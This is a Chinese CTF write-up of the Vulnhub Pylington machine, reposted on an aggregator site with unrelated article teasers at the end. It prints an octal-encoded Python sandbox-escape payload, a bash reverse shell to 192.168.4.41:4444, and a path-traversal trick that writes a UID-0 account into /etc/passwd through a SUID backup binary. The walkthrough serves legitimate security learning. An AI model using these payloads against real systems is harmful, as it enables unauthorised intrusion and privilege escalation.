Vulnhub_Pylington

news2025/1/31 8:54:46

目录

一、信息收集

(一)端口服务探测

(二)目录扫描

二、漏洞挖掘

(一)robots敏感信息泄露

(二)python IDE沙箱绕过RCE

1. python敏感函数沙盒绕过

2. exec(__import__)绕过

三、提权

(一)suid提权拿到py用户权限

(二)suid提权获取root权限

1.linux用户hash密码生成

2.执行backup文件添加root用户权限账户

四、知识点

(一)python敏感函数检测沙盒绕过

(二)linux用户hash密码生成

(三)suid提权 

一、信息收集

(一)端口服务探测

发现目标开放80和22端口,开放的组件经漏洞搜索未发现具有rce的历史漏洞

 

目录扫描

除了nmap漏扫在robots.txt下发现的三个目录,未发现可利用价值的目录

二、漏洞挖掘

(一)robots敏感信息泄露

在robots下发现三个可目录,访问/zbir7mn240soxhicso2z拿到一个账户信息,访问登录页面进行登录成功。

 

python IDE沙箱绕过RCE

登录成功之后点击welcome跳转到Python代码执行页面,存在敏感函数限制提醒页面,import/os/open等。

 

1. python敏感函数沙盒绕过

https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes#executing-python-code

 

2. exec(__import__)绕过

经过测试,使用__import__()函数把数据八进制可以绕过成功执行命令,使用解码解密工具进行转化

 

在program中输入:

exec("137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")

 

反弹shell

#__import__('os').system('bash -i >& /dev/tcp/192.168.4.41/4444 0>&1')

 

 

三、提权

(一)suid提权拿到py用户权限

Suid提权原理,当文件具备suid权限时,执行时拥有文件所有者权限。

在py目录下查看到所有文件都是py用户权限的,但是存在一个typing的具有suid权限,意味着运行时可以以py权限去执行。

 

运行文件,提示是一个小游戏,输入the quick brown fox jumps over the lazy dog,可以拿到py的password

 

Ssh登录拿到py用户

 

suid提权获取root权限

在secret_stuff目录下存在backup文件具有suid权限,运行时存在root权限。查看backup.cc源码,发现可利用添加用户。

 

1.linux用户hash密码生成

使用mkpasswd生成hash密码666666

#mkpasswd -m sha-512

密码8个6

 

2.执行backup文件添加root用户权限账户

备份添加,注意保存目录/srv/backups/../../etc/passwd

#revenge2:$6$UncBesem/JQivwYb$0qUgjVWHA5eT4mOh0/3ca60ym88DpaEoAviwKs2zSv9fyJy84gczwD0CWiNB.vJyIzHzTLusR7z3gWkeWhS94/:0:0:root:/root:/bin/bash

 

切换到revenge2,成功拿到root权限。

 

四、知识点

)python敏感函数检测沙盒绕过

https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes#executing-python-code

linux用户hash密码生成

suid提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/413366.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2.3 连续性随机变量

思维导图: 学习目标: 我会按照以下步骤学习连续型随机变量: 复习概率论的基础知识,包括概率、期望、方差等概念和公式,以及离散型随机变量的概率分布函数和概率质量函数的概念和性质。 学习连续型随机变量的概念和性…

在线文章生成-自动文章生成

文章生成软件 文章生成软件是一种能够自动生成文章的创作工具,可以大幅提高创作效率并节省创作成本。使用文章生成软件可以有效缩短文章的创作时间,尤其是在大批量的文章生产和时间紧迫的情况下,有着重要的作用。以下是文章生成软件可以为我…

初识C++之位图与布隆过滤器

一、位图 1.位图的概念 在了解位图前,先来看这么一道题: 假设给你40亿个没有排序的不重复的无符号整数。再给你一个无符号整数,让你判断这个整数是否在这40亿个数之中。 对于这道题,一般情况下的解法有很多,例如二…

如何利用空号检测 API 降低企业的业务成本

引言 电话营销和短信营销是现代营销活动的重要手段,但是无效号码的存在导致了很多资源浪费。利用空号检测 API 就可以避免企业向无效号码发送营销信息,降低营销成本。 本文将介绍空号检测 API 的工作原理以及如何利用空号检测 API 降低业务成本的多种方…

十分钟教你部署一个属于自己的chatgpt网站

📋 个人简介 💖 作者简介:大家好,我是阿牛,全栈领域优质创作者。😜📝 个人主页:馆主阿牛🔥🎉 支持我:点赞👍收藏⭐️留言&#x1f4d…

( “树” 之 DFS) 543. 二叉树的直径 ——【Leetcode每日一题】

543. 二叉树的直径 给定一棵二叉树,你需要计算它的直径长度。一棵二叉树的直径长度是任意两个结点路径长度中的最大值。这条路径可能穿过也可能不穿过根结点。 示例 : 给定二叉树 返回 3, 它的长度是路径 [4,2,1,3] 或者 [5,2,1,3]。 注意 :两结点之间…

屏幕色彩(一)-已知混色光色点求配色比

文章目录计算公式html源码运行结果计算公式 [WxWyWz][M][RGB]\begin{gather} \begin{bmatrix} W_x\\ W_y\\W_z \end{bmatrix} \begin{bmatrix} M \end{bmatrix} \begin{bmatrix} R\\G\\B \end{bmatrix} \end{gather} ​Wx​Wy​Wz​​​[M​]​RGB​​​​ 其中,Wxw…

STM-32:串口收发数据包—串口收发HEX数据包/串口收发文本数据包

目录一、发送HEX数据包1.1固定包长,含包头包尾(包尾不是必须的)1.2可变包长,含包头包尾二、接收HEX数据包三、发送文本数据包3.1固定包长,含包头包尾3.2可变包长,含包头包尾四、接收文本数据包五、HEX数据包…

73-Linux_线程安全

线程安全一.什么是线程安全二.strtok和strtok_r1.strtok2.strtok_r三.多线程中执行fork1.多线程中某个线程调用 fork(),子进程会有和父进程相同数量的线程吗?2.父进程被加锁的互斥锁 fork 后在子进程中是否已经加锁 ?一.什么是线程安全 线程安全即就是…

【数据结构】时间复杂度详解

首先我们要知道学习数据结构时都会讨论到算法,数据结构中的问题多数都有算法解决,两者是你中有我,我中有你的关系,所以在数据结构中的学习中算法也是必不可少的。 为方便阅读,以下为本片目录 目录 1.算法效率 1.1 …

JavaScript的学习理解

文章目录一、JavaScript 对象二、JavaScript 函数三、JavaScript 作用域总结一、JavaScript 对象 JavaScript 对象是拥有属性和方法的数据。 真实生活中的对象,属性和方法 在 JavaScript中,几乎所有的事物都是对象。 在 JavaScript 中,对象…

Spring5学习笔记01

一、课程介绍 Spring是什么呢? 它是一个轻量级的、开源的JavaEE框架,它的出现是为了解决企业繁琐的开发包括复杂代码,它可以用很优雅、很简洁的方式进行实现,也就是说它为了简化企业开发而生,而它在目前的企业中应用…

大规模MySQL运维陷阱之基于MyCat的伪分布式架构

引子 分布式数据库,已经进入了全面快速发展阶段,这种发展,是与时俱进的,与人的需求是分不开的,因为现在信息时代的高速发展,导致数据量和交易量越来越大。这种现象首先导致的就是存储瓶颈,因为…

(排序10)归并排序的外排序应用(文件排序)

TIPS 在一些文件操作函数当中,fputc与fgetc这两个函数都是针对字符的,如果说你需要往文件里面去放入整形啊等等,不是字符的类型,这时候就用fprintf,fscanf在参数里面数据类型控制一下就可以。但是话说回来&#xff0c…

自动化测试怎么学?这绝对是全网最系统的教程

目录 1、什么是自动化测试 2、自动化测试的发展前景怎么样 3、自动化测试难不难? 4、目前市场上自动化测试岗位的薪资是多少? 5、自动化测试学习方法好渠道 6、自动化测试怎么学? 学习基础知识 选择自动化测试框架 开始编写测试脚本 …

用HTTP proxy module配置一个反向代理服务器

反向代理与正向代理 摘抄:https://cloud.tencent.com/developer/article/1418457 正向代理 正向代理(forward proxy):是一个位于客户端和目标服务器之间的服务器(代理服务器),为了从目标服务器取得内容,…

“数实融合 元力觉醒”,苏州市元宇宙生态大会圆满召开!

为贯彻落实《苏州市培育元宇宙产业创新发展指导意见》,抢抓数字经济发展新机遇,加速培育与元宇宙发展相关的技术底座,“数实融合 元力觉醒——苏州市软件行业协会元宇宙专委会成立大会暨元宇宙生态大会”于4月14日成功举办。 苏州和数智能软件…

五金件装备不良、视觉检测零件是否缺失硬件方案

【检测目的】 检测不良品 【检测要求】 检测速度:13S一个 【拍摄效果图一】(正面) 【拍摄效果图二】正面 【拍摄效果图三】正面 【拍摄效果图四】(正面) 【拍摄效果图五】(正面) 【拍摄效果图…

如何写好付费专栏之开宗明义篇

大家好,我是herosunly。985院校硕士毕业,现担任算法研究员一职,热衷于机器学习算法研究与应用。曾获得阿里云天池比赛第一名,CCF比赛第二名,科大讯飞比赛第三名。拥有多项发明专利。对机器学习和深度学习拥有自己独到的见解。 本文主要介绍了写好付费专栏的开宗明义篇,希…

电脑上删除的文件可以恢复吗 如何恢复电脑上删除的文件

电脑早已走进千家万户,成为我们不可或缺的家庭设备,我们用电脑来学习、工作,处理各种数据。在使用电脑处理数据时,可能会失误操作,删除重要文件。那么,电脑上删除的文件可以恢复吗,如何恢复电脑…